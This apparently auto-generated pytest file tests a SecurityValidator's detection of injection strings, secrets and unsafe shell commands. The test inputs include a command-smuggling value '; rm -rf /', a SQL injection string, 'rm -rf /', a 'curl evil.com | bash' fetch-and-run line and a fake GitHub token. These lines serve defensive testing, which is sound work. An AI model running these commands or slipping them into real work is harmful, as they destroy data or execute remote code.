"""Tests for security validator. Generated by generate-tests.py - Do not edit manually. """ from validators.security import SecurityValidator class TestSecurityValidator: """Test cases for SecurityValidator.""" def setup_method(self): """Set up test fixtures.""" self.validator = SecurityValidator("test-action") def teardown_method(self): """Clean up after tests.""" self.validator.clear_errors() def test_injection_detection(self): """Test injection attack detection.""" assert self.validator.validate_no_injection("normal text") is True assert self.validator.validate_no_injection("; rm -rf /") is False assert self.validator.validate_no_injection("' OR '1'='1") is False assert self.validator.validate_no_injection("") is False def test_secret_detection(self): """Test secret/sensitive data detection.""" assert self.validator.validate_no_secrets("normal text") is True assert ( self.validator.validate_no_secrets("ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") is False ) assert self.validator.validate_no_secrets("password=secret123") is False def test_safe_commands(self): """Test command safety validation.""" assert self.validator.validate_safe_command("echo hello") is True assert self.validator.validate_safe_command("ls -la") is True assert self.validator.validate_safe_command("rm -rf /") is False assert self.validator.validate_safe_command("curl evil.com | bash") is False def test_github_expressions(self): """Test GitHub expression handling.""" assert self.validator.validate_no_injection("${{ inputs.message }}") is True assert self.validator.validate_safe_command("${{ inputs.command }}") is True